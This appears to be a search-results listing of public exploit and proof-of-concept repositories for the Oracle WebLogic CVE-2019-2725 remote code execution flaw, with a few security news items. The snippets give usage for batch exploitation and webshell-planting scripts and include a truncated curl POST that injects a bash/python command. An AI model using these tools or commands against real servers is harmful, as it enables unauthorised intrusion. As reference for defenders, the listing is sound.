37 matches found
CVE-2019-2725
CVE-2019-2725 bypass tips coded in python3,payloadhere that payload only work in jdk6 exp usage: usage:exp.py 127.0.0.1:8080 whoami poc after edit the ip.txt,programe will check the ip in ip.txt,testing if the vulnerability exist or not :...
CVE-2019-2725
CVE-2019-2725...
Weblogic
weblogic CVE-2019-2725 CVE-2019-2729 POC Execute command and get output usage: Single target python3 weblogicgetwebshell.py http://url Batch targets, put batch URLs into urllist.txt python3 weblogicgetwebshell.py all...
weblogic_2019_2725_wls_batch
weblogic20192725wlsbatch weblogic CVE-2019-2725 vulnerability Exp, targeting the wls-wsat component vulnerability. It uses three exploits for batch detection. At the time of writing, I didn't think too much about it — just verifying the existence of the vulnerability was enough. So the script's...
Oracle-WLS-Weblogic-RCE
Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic RCE test sciript CVE-2019-2725 is a deserialization vulnerability in Oracle WebLogic Server. This remote code execution vulnerability is remotely exploitable without authentication. This script which check the presence or absence of a page ...
CVE-2019-2725
This repository does not have a README...
Exploit-CVE-2019-2725
Exploit-CVE-2019-2725 A simple exploit for CVE-2019-2725. Example Code: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...
CNTA-2019-0014xCVE-2019-2725
CNTA-2019-0014-CVE-2019-2725 Disclaimer: This tool is only for security testing and learning purposes. Illegal use is prohibited. Usage:python3 weblogicrce.py url command is echo? win or linux For detailed analysis, please visit: https://icematcha.win/?p=1174...
CVE-2019-2725-POC
CVE-2019-2725-POC CVE-2019-2725-POC Modify the webshell address in the txt file to your own webshell address, then use Burp Suite to send a POST request to the target server, with the request packet content being the content from the txt file...
cve-2019-2725
Run with python3 1. Place detection targets in the ip.txt file, format: 192.168.1.18:7001 2. Run the script directly; results with vulnerabilities are saved in the ok.txt file...
CVE-2019-2725
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: Web Services. Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle...
Exploit for Missing Authentication for Critical Function in Oracle Weblogic_Server
CNVD-C-2019-48814 WebLogic wls9-async反序列化远程命令执行漏洞 回显poc for weblogic Patch update: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html 漏洞复现： http://10.10.20.166:7001/async/AsyncResponseService curl -i http://10.10.20.166:7001/async/favicon.ico CNVD-C-2019-48814...
Microsoft Warns of Cryptomining Malware Campaign Targeting Linux Servers
A cloud threat actor group tracked as 8220 has updated its malware toolset to breach Linux servers with the goal of installing crypto miners as part of a long-running campaign. "The updates include the deployment of new versions of a crypto miner and an IRC bot," Microsoft Security Intelligence...
Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure
Summary Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture. • Patch all systems. Prioritize patching known exploited vulnerabilities. • Implement multi-factor authentication. • Use antivirus software. • Develop internal contact lists and...
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild
Cyber operatives affiliated with the Russian Foreign Intelligence Service SVR have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday. "SVR cyber operato...
Exploit for Injection in Oracle Agile_Plm
Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic R...
Exploit for Injection in Oracle Agile_Plm
CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814、WebLogic wls9-async 命令回显 10.3.6 12.1.3 ResultBaseExec.java 用于测试defineClass，将把恶意类从base64还原出来，执行代码，主要是比较方便（可用可不用）。 JDK7u21.java 会生成weblogic-2019-272512.1.3命令执行.txt中的xml，请使用jdk6编译。 CVE-2019-2725.py 检测命令是否会执行。...
Exploit for Injection in Oracle Agile_Plm
CVE-2019-2725-POC CVE-2019-2725-POC Modif...
myblog.boscolo.it Improper Access Control vulnerability
Open Bug Bounty ID: OBB-993038 Security Researcher 0xrocky Helped patch 1796 vulnerabilities Received 7 Coordinated Disclosure badges Received 5 recommendations , a holder of 7 badges for responsible and coordinated disclosure, found a security vulnerability affecting myblog.boscolo.it website an...